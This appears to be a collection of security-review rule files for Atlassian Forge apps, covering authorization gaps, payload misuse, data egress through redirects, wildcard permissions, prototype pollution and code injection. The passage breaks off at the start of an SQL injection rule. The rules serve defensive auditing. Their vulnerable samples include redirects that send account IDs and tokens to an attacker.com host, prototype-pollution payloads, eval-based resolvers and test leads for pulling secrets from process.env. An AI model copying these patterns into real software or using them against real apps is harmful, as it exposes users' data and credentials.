- For every resolver that performs admin-only operations (such as storage.getSecret, mutations, product API calls with asApp, config access), verify that the resolver enforces authorization at the start using trusted server-side sources (context.accountId, Atlassian permission APIs, or stored ownership). If it only relies on display conditions or client-provided role/payload fields, treat it as missing authorization and flag that a non-admin user can invoke it.
- Assuming that because the UI is shown in a specific context (e.g., a repository page), the user has access to all the data associated with that resource.
Vulnerable Patterns
```javascript
// VULNERABLE - no authorization, directly uses payload
resolver.define('deleteComment', async ({ payload }) => {
// Attacker can delete any comment by providing arbitrary commentId
await storage.delete(`comment-${payload.commentId}`);
return { success: true };
});
// VULNERABLE - assumes caller is authorized because UI is visible
resolver.define('getSecretConfig', async ({ payload, context }) => {
// Display conditions hide UI but don't prevent direct invoke()
const config = await storage.getSecret('admin-config');
return config;
});
// VULNERABLE - client-provided role/permission used for authz
resolver.define('adminAction', async ({ payload }) => {
if (payload.isAdmin) { // Client can lie about this!
await performAdminAction();
}
});
// VULNERABLE - assumes UI context means user has access
// This is shown in Bitbucket repo settings, so developer assumes authorization
resolver.define('getRepoSettings', async ({ payload, context }) => {
// WRONG: "User is viewing this repo page, so they must have access"
// REALITY: Attacker can call this with ANY repoUuid via invoke()
const settings = await storage.get(`repo-settings-${payload.repoUuid}`);
return settings;
});
```
Secure Patterns
```javascript
// SECURE - verify ownership before delete
resolver.define('deleteComment', async ({ payload, context }) => {
const comment = await storage.get(`comment-${payload.commentId}`);
if (!comment) {
throw new Error('Comment not found');
}
// Verify the requesting user owns this comment
if (comment.authorAccountId !== context.accountId) {
throw new Error('Not authorized to delete this comment');
}
await storage.delete(`comment-${payload.commentId}`);
return { success: true };
});
// SECURE - verify admin role server-side
resolver.define('getSecretConfig', async ({ payload, context }) => {
const isAdmin = await checkUserIsAdmin(context.accountId);
if (!isAdmin) {
throw new Error('Admin access required');
}
return await storage.getSecret('admin-config');
});
// SECURE - use Atlassian APIs to verify permissions
resolver.define('updateIssue', async ({ payload, context }) => {
const api = asUser();
const perms = await api.requestJira(
route`/rest/api/3/mypermissions?issueId=${payload.issueId}&permissions=EDIT_ISSUES`
);
if (!perms.permissions.EDIT_ISSUES.havePermission) {
throw new Error('Cannot edit this issue');
}
// Proceed with authorized operation
});
// SECURE - returning Bitbucket API data directly (NO extra check needed)
resolver.define('getRepositoryInfo', async ({ payload, context }) => {
const api = asUser();
// When returning data DIRECTLY from Bitbucket API, no extra validation needed.
// The API call with asUser() automatically enforces permissions:
// - User has access → Returns repo data
// - User lacks access → Returns 404
// Authorization is handled by Bitbucket API itself.
const repo = await api.requestBitbucket(
route`/2.0/repositories/${payload.workspaceId}/${payload.repositoryUuid}`
);
return await repo.json(); // SECURE - API already validated access
});
// SECURE - verify Bitbucket repository access before returning app storage data
resolver.define('getAppRepoData', async ({ payload, context }) => {
const api = asUser();
// WHY THIS CHECK IS NEEDED:
// We're returning data from OUR storage, not directly from Bitbucket API.
// Storage doesn't validate permissions - we must verify user has Bitbucket
// access to this repository BEFORE returning our app's data for it.
//
// The Bitbucket API call (asUser) automatically enforces permissions:
// - If user has access → API returns repo data (200)
// - If user lacks access → API returns 404
// This validates authorization without needing explicit permission checks.
try {
await api.requestBitbucket(
route`/2.0/repositories/${payload.workspaceId}/${payload.repositoryUuid}`
);
// Success → user has access to this repository
} catch (error) {
// User doesn't have access or repository doesn't exist
throw new Error('Repository not found or access denied');
}
// NOW safe to retrieve app-specific data for this repository
const appData = await storage.get(`repo-data-${payload.repositoryUuid}`);
return appData;
});
// SECURE - validates access even when called from repo settings page
resolver.define('getRepoSettings', async ({ payload, context }) => {
const api = asUser();
// Don't assume UI context = authorization
// Attacker can manipulate payload.repoUuid to access OTHER repositories
// Call Bitbucket API with asUser() to validate access to THIS specific repository
try {
await api.requestBitbucket(
route`/2.0/repositories/${payload.workspaceId}/${payload.repoUuid}`
);
// API succeeded → user has access
} catch (error) {
throw new Error('Repository not found or access denied');
}
// Now safe to return our app's settings for this repository
const settings = await storage.get(`repo-settings-${payload.repoUuid}`);
return settings;
});
// SECURE - verify Bitbucket repository permissions for specific actions
resolver.define('setBitbucketRepoConfig', async ({ payload, context }) => {
const api = asUser();
// Check if user has admin access to the repository
try {
const repo = await api.requestBitbucket(
route`/2.0/repositories/${payload.workspaceId}/${payload.repositoryUuid}`
);
const repoData = await repo.json();
// Verify user has admin permissions (Bitbucket returns 404 if no access)
if (!repoData || !repoData.uuid) {
throw new Error('Access denied');
}
} catch (error) {
throw new Error('Repository not found or insufficient permissions');
}
// Safe to update configuration for this repository
await storage.set(`repo-config-${payload.repositoryUuid}`, payload.config);
return { success: true };
});
```
Detection Checklist
- [ ] List all resolver definitions and categorize by sensitivity (read/write/delete/admin).
- [ ] For each write/delete/admin resolver, verify presence of authorization logic.
- [ ] Check that authorization uses trusted sources (context.accountId, Atlassian APIs) not payload.
- [ ] Verify ownership checks compare against stored/authoritative data, not client claims.
- [ ] Look for resolvers that access storage.getSecret() or perform mutations without checks.
- [ ] For resolvers that appear admin-only (naming, UI placement, or docs): confirm they enforce server-side authz; otherwise any user who can invoke the resolver can perform the action.
- [ ] For Bitbucket-based apps: Check repository UUID/slug from payload is validated via Bitbucket API before data access.
- [ ] For Confluence-based apps: Check page/space IDs from payload is validated via Confluence API before data access.
- [ ] For cross-product apps: Verify resource access for each product's resources independently.
- [ ] Don't assume UI context provides authorization - even if triggered from authenticated frontend. However, note that these may raise False Positives. Ensure you identify every step in the chain of calls to validate if a true threat or risk exists.
When Authorization Checks May Not Be Required - Legitimate exceptions where resource ID validation might not be needed are below. Please use the following to ensure False Positives are not raised.
1. User-scoped data only- Resolver only accesses data keyed by `context.accountId`:
```javascript
// OK - only accesses current user's data
resolver.define('getMyPreferences', async ({ context }) => {
return await storage.get(`user-prefs-${context.accountId}`);
});
```
2. Global/public data - No sensitive or user-specific information:
```javascript
// OK - public feature flags, no authorization needed
resolver.define('getFeatureFlags', async () => {
return await storage.get('global-feature-flags');
});
```
3. Context-derived resource IDs - Resource ID comes from trusted `context`, not `payload`:
```javascript
// OK - uses context.extension.config which is validated by Forge
resolver.define('getConfigData', async ({ context }) => {
const pageId = context.extension.config.pageId; // From manifest context
return await getPageData(pageId, context);
});
```
RED FLAGS - Cases in which Authorization IS required:
- Resource IDs from `payload` (user-controlled)
- Accessing data for resources other than current user
- Any mutation operations
- Accessing secrets or sensitive configuration
- Cross-resource operations (accessing Repo B while viewing Repo A)
Common Authorization Sources (Trusted)
- `context.accountId` - The authenticated user's Atlassian account ID
- `context.installContext` - Installation context (cloudId, siteUrl)
- Jira API permission checks (`/rest/api/3/mypermissions`, `/rest/api/3/permissions/check`)
- Confluence API permission checks (`/rest/api/content/{id}/permission/check`)
- Bitbucket API access validation (GET `/2.0/repositories/{workspace}/{repo_slug}` - returns 404 if no access)
- Stored ownership data (author IDs, project memberships)
Common Anti-Patterns (Untrusted)
- `payload.isAdmin`, `payload.userRole` - Client can fabricate
- `payload.hasPermission` - Client can lie
- Assuming display conditions prevent access
PoC / Test Leads
- Directly invoke resolvers via bridge with manipulated payload.
- Test as low-privilege user accessing resources owned by others.
- Bypass UI and call sensitive resolvers directly with GraphQL/invoke.
- Test with forged payload fields (isAdmin: true, role: 'admin').
Remediation Guidance (advisory)
- Treat all resolver payloads as untrusted attacker input.
- Implement authorization checks at the start of every sensitive resolver.
- Use `context.accountId` for user identity, not payload fields.
- Query Atlassian APIs or stored data to verify permissions.
- Return generic errors that don't leak information about resource existence.
Reporting Guidance
- Document each resolver lacking authorization with its function name and file location.
- Describe what sensitive operation is unprotected.
- Provide PoC payload showing unauthorized access.
- Map to CWE-862; note if display conditions gave false sense of security.
---
description: Context object should be preferred over explicit inclusion in function payload
alwaysApply: true
---
Context
- This rule uses terms which may have more up-to-date explanations from the Forge MCP server
- Forge functions may be distinguished from other JS functions by:
- Being exported, and furthermore,
- Being named under `modules.functions.[].handler`, as the last name in a `.`-separated chain
- Forge functions receive two arguments: a module-specific payload, and an object containing contextual information for
the function invocation. Call the latter one the "context object." See the signature described under "Forge Function
Signature"
- There are also forge resolver functions, which appear as the second argument of `foo.define()` calls, where `foo` is a
variable constructed from a `@forge/resolver` `Resolver` object.
- Forge resolver functions have a signature described under "Resolver Function Signature" in this rule, with a context
object of type `Context`, and a payload named `payload`.
- The context object is validated in full by the Forge platform. Some apps use an anti-pattern of passing information
avilable in this object (commonly `accountId`) explicitly through the payload object instead. Since the latter is not
validated, the app must validate it iself, but this may result in incorrect validation or even absent validation, and
should be avoided.
Resolver Function Signature
```typescript
type Context = {
accountId?: string;
accountType?: 'licensed' | 'unlicensed' | 'customer' | 'anonymous';
cloudId?: string;
workspaceId?: string;
localId: string;
installContext: string;
environmentId: string;
environmentType: string;
extension: {
config?: { [key: string]: any } // defined for macro extensions
[key: string]: any;
},
installation?: {
ari: {
installationId: string;
toString: () => string;
},
contexts: [
{
cloudId?: string,
workspaceId?: string,
toString: () => string
}
]
}
};
function define(
functionKey: string,
// IMPORTANT: this parameter receives the resolver dunction definition
cb: (request: {
payload: { [key in number | string]: any;},
context: Context
}) => Promise<{ [key: string]: any } | string | void> | { [key: string]: any } | string | void,
): this
```
Forge Function Signature
```typescript
// The type of the context object
export type Context = {
installContext: string;
principal?: Principal;
license?: License;
installation?: Installation;
workspaceId?: string;
}
export type Principal = {
accountId: string;
}
export type License = {
isActive: boolean;
billingPeriod?: string | null;
capabilitySet?: string | null;
ccpEntitlementId?: string | null;
ccpEntitlementSlug?: string | null;
isEvaluation?: boolean | null;
subscriptionEndDate?: string | null;
supportEntitlementNumber?: string | null;
trialEndDate?: string | null;
type?: string | null;
};
export type Installation = {
ari: InstallationAri;
contexts: ContextAri[];
}
export type InstallationAri = {
installationId: string;
toString: () => string;
};
export type ContextAri = {
cloudId?: string;
workspaceId?: string;
toString: () => string;
}
// IMPORTANT: This is the forge function
export const handler = (payload, context: Context) => {
// Does something
}
```
Scope & Signals
- Manifest location of interest: `modules.functions.[].handler`
- Any resolver functions defined by `.define()` calls on a variable of type `Resolver`
- Risk indicators:
- The payload object contains fields that are identical or likely contain the same information as fields available in
the context object. Note that the fields available in this object will depend on whether it is a resolver function
or not
Detection Process
```md
1. Extract all forge function `handler` keys from the manifest
2. Extract all `resolver` keys present, at any depth, under the `modules` key in the manifest
3. Treat all functions identified by (1) as forge functions, and all from (2) as resolver functions
4. Find the definition of each function in the source code
5. Check, as thoroughly as you can, how each of these functions use their payload objects. Look for field names or
accesses which are likely to contain information similar to the context fields available for that type of function
a. Pay closer attention to fields which are eventually passed to `asApp()` endpoint calls
6. If any likely such use is found, flag the function for review
```
Reporting Guidance
- Call out functions which are passing context-object information in their payloads. Prioritize functions based on
certainty that this is the case, and on the likelihood they are failing to validate these fields before use.
- Especially prioritize those that pass these values to calls made `asApp()`
- If a usage is not likely, but you still flagged it, merely point to its location for further investigation
- Unless you can verify that the payload field is passed without validation, this is probably not a vulnerability, but a
significant weakness.
- The weakness is much more likely to be exploitable if this information is passed in a network request to APIs other
than Jira, Confluence or Bitbucket.
- Always recommend the specific context field that contains the information as a replacement
---
description: Forge egress and remotes rules index. Auto-attached for forge-egress-remotes/**
globs:
- forge-egress-remotes/**
alwaysApply: false
---
- Scope: External network permissions, remote configurations, egress controls, and data exfiltration risks.
- Priority: External integrations are a common attack surface for SSRF and data leakage.
Key Forge Egress/Remote Risks
- Wildcard external permissions: Using `*` or overly broad wildcards in `permissions.external.fetch`.
- Data egress via window.location: Custom UI can redirect with sensitive data in URL parameters.
- Undeclared external domains: Outbound calls to domains not in manifest permissions.
- Remote backend trust: Trusting external remotes without proper authentication/validation.
- SSRF via user-controlled URLs: Building fetch URLs from untrusted input.
Subrules
- Wildcard External Permissions → `@forge-egress-remotes/wildcard-permissions.mdc`
- Data Egress via Redirects → `@forge-egress-remotes/data-egress-redirects.mdc`
<!-- - External Domain Validation → `@forge-egress-remotes/external-domain-validation.mdc`
- Remote Backend Security → `@forge-egress-remotes/remote-backend-security.mdc` -->
Detection Heuristics
- Check manifest `permissions.external.fetch` for wildcards or overly broad patterns.
- Search for `window.location`, `location.href`, `location.assign()` with dynamic URLs containing query params.
- Trace fetch/request calls to verify destinations match declared permissions.
- Review remote configurations for authentication and data residency declarations.
Manifest Permission Patterns
```yaml
# INSECURE - overly broad
permissions:
external:
fetch:
backend:
- '*.example.com' # Wildcard subdomain risk
- '*' # Never acceptable
# SECURE - explicit domains
permissions:
external:
fetch:
backend:
- 'api.example.com'
- 'auth.example.com'
```
CWE References
- CWE-918: Server-Side Request Forgery
- CWE-441: Unintended Proxy or Intermediary
- CWE-942: Permissive Cross-domain Policy
- CWE-201: Insertion of Sensitive Information Into Sent Data
---
description: Detect data egress via window.location redirects in Forge Custom UI
globs:
alwaysApply: false
---
Context
- Forge Custom UI apps can redirect users via `window.location` with sensitive data appended to URLs. No browser CSP directive currently prevents this.
- Related CWE: CWE-201 (Insertion of Sensitive Information Into Sent Data).
- Reference: Internal VULN Guide to window.location data egress.
Scope & Signals
- Location: `static/` directory in Forge apps (Custom UI iframe content).
- Redirect patterns to check:
- `window.location = url`
- `window.location.href = url`
- `window.location.assign(url)`
- `window.location.replace(url)`
- `document.location`, `self.location`, `location` variants
- Data egress vectors:
- Query parameters: `?userData=${sensitiveData}`
- Subdomains: `${userData}.attacker.com`
- Path segments: `/exfil/${userData}`
Vulnerable Patterns
```javascript
// VULNERABLE - User data in query parameters
const userData = await getUserData();
window.location = `https://external-site.com/callback?data=${userData.email}`;
// VULNERABLE - Building URL with sensitive context
const issueData = await fetchIssueDetails();
window.location.href = `https://analytics.example.com/track?issue=${issueData.key}&user=${issueData.reporter}`;
// VULNERABLE - Redirect to undeclared domain
window.location = 'https://not-in-manifest.com/page';
// VULNERABLE - Dynamic URL construction
const baseUrl = payload.redirectUrl; // Attacker-controlled
const token = await getAuthToken();
window.location.assign(`${baseUrl}?token=${token}`);
// VULNERABLE - Data in subdomain
const userId = context.accountId;
window.location = `https://${userId}.tracking.attacker.com/`;
```
Secure Patterns
```javascript
// SECURE - Static redirect to declared domain, no sensitive params
window.location = 'https://docs.example.com/help';
// SECURE - Validate redirect URL against allowlist
const ALLOWED_REDIRECTS = [
'https://app.example.com/callback',
'https://auth.example.com/complete'
];
function safeRedirect(url) {
if (!ALLOWED_REDIRECTS.includes(url)) {
throw new Error('Invalid redirect URL');
}
window.location = url;
}
// SECURE - Use Forge navigation instead of raw redirect
import { router } from '@forge/bridge';
async function navigateToPage() {
await router.navigate('/admin/settings');
}
// SECURE - No sensitive data in URL
window.location = 'https://external.example.com/page';
// Sensitive data sent via POST body instead
```
Detection Checklist
- [ ] Search `static/` directory for `window.location`, `location.href`, etc.
- [ ] Extract URL values from redirect assignments.
- [ ] Check if URLs contain template literals with variables.
- [ ] Verify redirect domains are declared in manifest permissions.
- [ ] Assess what data is included in URL parameters.
- [ ] Look for dynamic URL construction from untrusted sources.
Data Flow Analysis
```javascript
// Trace data flow to redirects:
// 1. Identify the redirect statement
window.location.href = fullUrl;
// 2. Find variable assignments
const fullUrl = base + "://" + domain + "?" + params;
// 3. Trace each component
const base = "https"; // Static - OK
const domain = "api.example.com"; // Static - OK
const params = `userId=${context.accountId}`; // Sensitive data!
// 4. Verify domain is in manifest
// 5. Assess sensitivity of params
```
False Positive Indicators
```javascript
// Local navigation (same origin)
window.location = '/settings';
window.location.href = './page.html';
// Static URLs without parameters
window.location = 'https://help.example.com';
// Shadowed location variable (not global)
function handler() {
const location = { href: '' }; // Local variable
location.href = 'value'; // Not a redirect
}
```
Manifest Cross-Reference
```yaml
# Check redirects against manifest:
permissions:
external:
fetch:
client:
- 'api.example.com'
# Redirect to api.example.com - OK (if no sensitive data)
# Redirect to other.example.com - VIOLATION (undeclared)
```
PoC / Test Leads
- Intercept redirect and analyze URL parameters for sensitive data.
- Verify redirect domains match manifest declarations.
- Test with different user contexts to see what data is exfiltrated.
- Check network logs for outbound requests to unexpected domains.
Remediation Guidance (advisory)
- Avoid putting sensitive data in redirect URLs.
- Use POST requests for data transmission, not GET parameters.
- Implement strict allowlist for redirect destinations.
- Use Forge bridge navigation APIs when possible.
- Validate all redirect URLs against manifest-declared domains.
- Consider server-side redirects instead of client-side.
Reporting Guidance
- Document each redirect pattern with file location.
- Identify what sensitive data appears in URLs.
- Note if redirect domain is declared in manifest.
- Assess data sensitivity (PII, tokens, issue data).
- Map to CWE-201; note current lack of CSP navigate-to support.
---
description: Detect insecure wildcard patterns in Forge external permissions and remotes
globs:
alwaysApply: false
---
Context
- Wildcard patterns in `permissions.external.fetch` can expose apps to SSRF, data exfiltration, and unintended external communications. Explicit domain allowlists are required.
- Related CWE: CWE-942 (Permissive Cross-domain Policy), CWE-918 (SSRF).
- Reference: Internal VULN Guide to Insecure Wildcard Remotes.
Scope & Signals
- Manifest locations:
- `permissions.external.fetch.backend`
- `permissions.external.fetch.client`
- `remotes` configuration
- Dangerous patterns:
- `*` - Allows any domain (never acceptable)
- `*.example.com` - Subdomain wildcard (attacker can register subdomains)
- `*.*.example.com` - Multi-level wildcard
- Overly broad TLDs: `*.com`, `*.io`
Vulnerable Patterns
```yaml
# CRITICAL - Allows any external domain
permissions:
external:
fetch:
backend:
- '*'
# HIGH - Subdomain wildcard exploitation
permissions:
external:
fetch:
backend:
- '*.example.com'
# Attacker registers: malicious.example.com (if possible)
# Or exploits: user-controlled.example.com subdomain
# HIGH - Multiple wildcards
permissions:
external:
fetch:
backend:
- '*.*.example.com'
# MEDIUM - Broad service wildcards
permissions:
external:
fetch:
backend:
- '*.amazonaws.com' # Too broad - includes S3, EC2 metadata, etc.
- '*.cloudfront.net'
# RISKY - Development/staging patterns in production
permissions:
external:
fetch:
backend:
- '*.dev.example.com'
- 'localhost:*'
```
Secure Patterns
```yaml
# SECURE - Explicit domain allowlist
permissions:
external:
fetch:
backend:
- 'api.example.com'
- 'auth.example.com'
- 'webhooks.example.com'
# SECURE - Specific subdomains
permissions:
external:
fetch:
backend:
- 'api.prod.example.com'
- 'api.eu.example.com'
- 'api.us.example.com'
# SECURE - HTTPS only (implicit in Forge, but verify)
permissions:
external:
fetch:
backend:
- 'https://api.example.com'
```
Valid Domain Format Reference
Per Forge documentation, valid domain formats:
- `example.com` - Exact domain
- `api.example.com` - Exact subdomain
- `*.example.com` - Wildcard subdomain (use with caution)
- `example.com:8080` - With port
- Cannot use paths in domain specifications
Detection Checklist
- [ ] Parse manifest.yml for `permissions.external.fetch`.
- [ ] Flag any `*` (bare wildcard) entries.
- [ ] Flag `*.domain.com` patterns and assess subdomain control risk.
- [ ] Check for overly broad cloud provider wildcards.
- [ ] Verify all declared domains are necessary for app functionality.
- [ ] Look for development/localhost patterns.
- [ ] Review `remotes` section for similar issues.
Risk Assessment
| Pattern | Risk Level | Concern |
|---------|------------|---------|
| `*` | Critical | Unrestricted egress |
| `*.example.com` | High | Subdomain takeover/registration |
| `*.amazonaws.com` | High | Cloud metadata, internal services |
| `*.cloudflare.com` | Medium | May include untrusted user content |
| `api.example.com` | Low | Explicit, controlled |
Subdomain Takeover Considerations
```yaml
# If using wildcard, assess:
# 1. Can anyone register subdomains on this domain?
# 2. Are there dangling DNS records?
# 3. Are there user-controlled subdomain patterns?
# Example vulnerable scenario:
permissions:
external:
fetch:
backend:
- '*.github.io' # Anyone can create [username].github.io
```
PoC / Test Leads
- Attempt requests to unintended domains within wildcard scope.
- Test subdomain patterns with attacker-controlled subdomains.
- Verify if declared but unused domains can be removed.
- Test SSRF to cloud metadata endpoints if cloud wildcards present.
Remediation Guidance (advisory)
- Replace wildcards with explicit domain lists.
- Audit all external domains for necessity.
- If subdomain wildcard required, ensure domain registrar controls all subdomains.
- Remove development/localhost patterns from production manifests.
- Implement request-time validation in addition to manifest controls.
- Consider using Forge External Auth for authenticated external services.
Reporting Guidance
- List all wildcard patterns found with their manifest location.
- Assess exploitability of each wildcard.
- Note which domains could be attacker-controlled.
- Provide explicit domain alternatives.
- Map to CWE-942, CWE-918.
---
description: Forge injection rules index. Auto-attached for forge-injection/**
globs:
- forge-injection/**
alwaysApply: false
---
- Scope: Injection vulnerabilities due to lack of input validation in Forge apps including SQL, command, XSS, prototype pollution, and code execution.
- Priority: Injection vulnerabilities are the #2 category for P1 severity findings.
Key Forge Injection Risks
- SQL injection via `sql.executeRaw()` or `sql.prepare()` without `bindParams()`.
- Command/code execution via `AsyncFunction`, `Function()`, `eval()` constructors with user input.
- XSS when `unsafe-inline` CSP is enabled and usage of high risk attributes such as `dangerouslySetInnerHTML`.
- Prototype pollution in RuntimeV2.
- SSRF with user-controlled route segments.
Subrules
- SQL Injection → `@forge-injection/sql-injection.mdc`
- Remote Code Execution → `@forge-injection/rce-code-execution.mdc`
- Cross-Site Scripting → `@forge-injection/xss.mdc`
- Prototype Pollution → `@forge-injection/prototype-pollution.mdc`
- SSRF and Request Forgery → `@forge-injection/ssrf.mdc`
<!-- - Template Injection → `@forge-injection/template-injection.mdc` -->
Detection Heuristics
- Trace untrusted input from resolvers, web triggers, and events into query/command sinks.
- Search for string interpolation/concatenation in SQL calls.
- Identify `AsyncFunction`, `new Function()`, `eval()` with dynamic input.
- Check `dangerouslySetInnerHTML` usage when `unsafe-inline` is in manifest CSP.
- Look for `requestJira`/`requestConfluence` calls without `route` template literals.
CWE References
- CWE-89: SQL Injection
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-94: Code Injection
- CWE-1321: Prototype Pollution
- CWE-918: Server-Side Request Forgery
---
description: Detect prototype pollution vulnerabilities in Forge apps and RuntimeV2 escalation risks
globs:
alwaysApply: false
---
Context
- Prototype pollution in Forge RuntimeV2 can enable cross tenant data leakage and privilege escalation from asUser to asApp by injecting fetch headers.
- Related CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes).
- Forge-specific: Default libraries in RuntimeV2 allow attackers to exploit prototype pollution for privilege escalation.
Scope & Signals
- Sources: JSON parsing, object merging, query/body parsing, deserialization.
- Sinks: Object property assignment, deep merge utilities, spread operators with untrusted keys.
- Red flags:
- `__proto__`, `prototype`, `constructor` in property paths from user input.
- Deep merge without prototype guards (lodash < 4.17.12, jQuery.extend, etc.).
- Object.assign with untrusted objects.
Forge-Specific Escalation Path
```javascript
// In RuntimeV2, prototype pollution can upgrade asUser() to asApp()
// by injecting headers into fetch calls
// If attacker can pollute Object.prototype:
Object.prototype.headers = {
'x-forge-oauth': 'app' // Hypothetical escalation header
};
// Subsequent asUser() calls may inherit polluted headers
const api = asUser();
await api.requestJira(route`/rest/api/3/issue/TEST-1`);
// Request now uses app-level permissions
```
Vulnerable Patterns
```javascript
// VULNERABLE - Merge user input without guards
const config = {};
Object.assign(config, JSON.parse(payload.settings));
// VULNERABLE - Deep merge with untrusted data
import merge from 'lodash.merge';
const merged = merge(defaults, userInput);
// VULNERABLE - Bracket notation with user key
const key = payload.key;
obj[key] = payload.value; // key could be "__proto__"
// VULNERABLE - Recursive object assignment
function deepSet(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
current = current[keys[i]] = current[keys[i]] || {};
}
current[keys[keys.length - 1]] = value;
}
deepSet({}, payload.path, payload.value); // path = "__proto__.polluted"
```
Secure Patterns
```javascript
// SECURE - Reject dangerous keys
function safeSet(obj, key, value) {
if (['__proto__', 'prototype', 'constructor'].includes(key)) {
throw new Error('Invalid key');
}
obj[key] = value;
}
// SECURE - Use Object.create(null) for prototype-less objects
const config = Object.create(null);
Object.assign(config, sanitizedInput);
// SECURE - Use Map instead of objects for dynamic keys
const userSettings = new Map();
userSettings.set(payload.key, payload.value);
// SECURE - Schema validation with allowlisted keys
import { z } from 'zod';
const SettingsSchema = z.object({
theme: z.string(),
language: z.string()
}).strict(); // Reject unknown keys
const settings = SettingsSchema.parse(payload.settings);
// SECURE - Updated lodash with prototype guards
import merge from 'lodash.merge'; // v4.17.21+
// Still recommend explicit key validation
```
Detection Checklist
- [ ] Search for `__proto__`, `prototype`, `constructor` in code.
- [ ] Find Object.assign, spread operators with untrusted sources.
- [ ] Check for deep merge utilities and their versions.
- [ ] Identify bracket notation property access with dynamic keys.
- [ ] Look for recursive object traversal/assignment functions.
- [ ] Check package.json for vulnerable lodash, hoek, jQuery versions.
PoC / Test Leads
```javascript
// Test payload for prototype pollution
const maliciousPayload = {
"__proto__": {
"polluted": true
}
};
// Or via constructor
const payload2 = {
"constructor": {
"prototype": {
"polluted": true
}
}
};
// Verify pollution
console.log({}.polluted); // Should be undefined, true if polluted
```
Remediation Guidance (advisory)
- Reject `__proto__`, `prototype`, `constructor` keys at input validation.
- Use schema validators (zod, joi) with strict mode to allowlist keys.
- Create objects with `Object.create(null)` when prototype not needed.
- Use Map/Set for dynamic key storage.
- Update lodash to 4.17.21+ and other merge libraries.
- Freeze prototypes in sensitive contexts: `Object.freeze(Object.prototype)`.
Reporting Guidance
- Document the merge/assignment pattern and untrusted data source.
- Explain Forge-specific escalation risk (asUser to asApp) and cross tenant data access.
- Provide PoC payload demonstrating pollution.
- Map to CWE-1321; note affected library versions.
---
description: Detect remote code execution and unsafe dynamic code evaluation in Forge apps
globs:
alwaysApply: false
---
Context
- Forge apps may execute user-provided code via `AsyncFunction`, `Function()`, `eval()`, or similar constructs. In RuntimeV2, this executes in a shared AWS Lambda context with tenant isolation risks.
- Related CWE: CWE-94 (Code Injection), CWE-95 (Eval Injection).
- Past issues: JMCF RCE Investigation - scripted fields executing user code in shared global scope.
- Severity: Critical - enables arbitrary code execution, data exfiltration, tenant data leakage.
Scope & Signals
- Dangerous APIs (same global scope - CRITICAL):
- `eval(userScript)`
- `new Function('param', userScript)`
- `new AsyncFunction('param', userScript)` (AsyncFunction = `async function(){}.constructor`)
- `setTimeout(userScript, delay)` with string argument
- `setInterval(userScript, delay)` with string argument
- Somewhat isolated (controlled context):
- `vm.runInNewContext(script, context)`
- `vm.createContext()` + `vm.runInContext()`
- Process isolated (still risky):
- `child_process.exec(command)`
- `child_process.spawn(cmd, args)`
Vulnerable Patterns
```javascript
// CRITICAL - User script in same global scope
const AsyncFunction = async function () {}.constructor;
export async function runUserScript(userScript, issue) {
// User code runs in same scope, can access/modify globals
const f = new AsyncFunction('issue', 'api', userScript);
return await f(issue, api);
}
// CRITICAL - Direct eval
resolver.define('evaluate', async ({ payload }) => {
return eval(payload.expression); // Arbitrary code execution
});
// CRITICAL - Function constructor
const calculate = new Function('x', 'y', payload.formula);
const result = calculate(10, 20);
// HIGH - setTimeout with string (rarely used but dangerous)
setTimeout(payload.callback, 1000); // If callback is a string
```
Lambda Warm Start Vulnerabilities
In RuntimeV2, AWS Lambda reuses containers across invocations:
```javascript
// Module-level variables persist across Lambda invocations
let globalCache = {}; // Shared across tenants!
// Malicious user script can:
// 1. Pollute global scope
globalThis.__proto__.malicious = () => { /* exploit */ };
// 2. Modify module-level state
globalCache.otherTenantData = stolenData;
// 3. Override built-in functions
console.error = () => {}; // Suppress security logging
// 4. Access data from previous invocations
const previousData = globalCache.sensitiveData;
```
Secure Patterns
```javascript
// BETTER - VM isolation (still same process but isolated context)
const vm = require('vm');
function runUserScript(userScript, context) {
const sandbox = vm.createContext({
issue: context.issue,
api: restrictedApi,
console: safeConsole
});
return vm.runInContext(userScript, sandbox, {
timeout: 5000, // Prevent infinite loops
displayErrors: false
});
}
// BEST - Use Deno subprocesses for true isolation
// Deno provides V8 sandboxing with permission controls
// https://docs.deno.com/runtime/fundamentals/security/
// RECOMMENDED - Use QuickJS for embedded execution
// QuickJS provides true memory and process isolation
import QuickJS from 'quickjs';
const vm = new QuickJS.VM();
const context = vm.createContext({ issue, api });
const result = await vm.evalCode(userScript, context);
```
Detection Checklist
- [ ] Search for `AsyncFunction`, `new Function()`, `eval()` in codebase.
- [ ] Trace the script/code argument to untrusted sources.
- [ ] Identify module-level variables that could leak between invocations.
- [ ] Check for global scope modifications in user-executable code.
- [ ] Review caches and state that persist across Lambda warm starts.
Scanning Patterns
```javascript
// Pattern 1: AsyncFunction constructor
const AsyncFunction = async function () {}.constructor
new AsyncFunction('param1', 'param2', script)
// Pattern 2: Function constructor
new Function('param1', 'param2', script)
// Pattern 3: eval
eval(script)
// Pattern 4: Global state
globalThis.property = value
global.property = value
```
PoC / Test Leads
- Execute script that modifies `globalThis.__proto__`.
- Store data in global variable, verify it persists to next invocation.
- Override `console.log` and verify it affects subsequent requests.
- Access `process.env` to extract environment secrets.
- Test `require()` to load sensitive modules.
Remediation Guidance (advisory)
- Avoid user-provided code execution if possible; use configuration-based customization.
- If code execution is required:
- Use QuickJS or Deno for true process/memory isolation.
- Use VM module with isolated context as minimum.
- Never use `eval`, `Function`, `AsyncFunction` with untrusted input.
- Reset global state at start of each invocation.
- Clear all caches and module-level variables between tenant requests.
- Implement strict timeouts and resource limits.
- Audit what APIs are exposed to user scripts.
Reporting Guidance
- Document the code execution mechanism and where user input enters.
- Explain Lambda warm start implications for tenant isolation.
- Provide PoC showing global state pollution or cross-tenant leakage.
- Map to CWE-94, CWE-95; reference JMCF investigation.
---
description: Detect SQL injection vulnerabilities in Forge apps using the Forge SQL API
globs:
alwaysApply: false
---
Context
- Forge SQL API provides `sql.executeRaw()` and `sql.prepare()` for database operations. SQL injection occurs when untrusted input is interpolated into query strings.
- Related CWE: CWE-89 (SQL Injection).
- Severity: Critical - can lead to data exfiltration, manipulation, and privilege escalation.
- Reference: Internal VULN Guide to SQL Injection in Forge Apps.
Scope & Signals
- Dangerous APIs:
- `sql.executeRaw()` - Direct query execution (highest risk)
- `sql.prepare()` without `bindParams()` - Prepared statement misuse
- `migrationRunner.enqueue()` with dynamic content
- Sources: Resolver payloads, web trigger bodies, event data, user input from Custom UI.
- Sinks: Any SQL query construction using string interpolation/concatenation.
Vulnerable Patterns
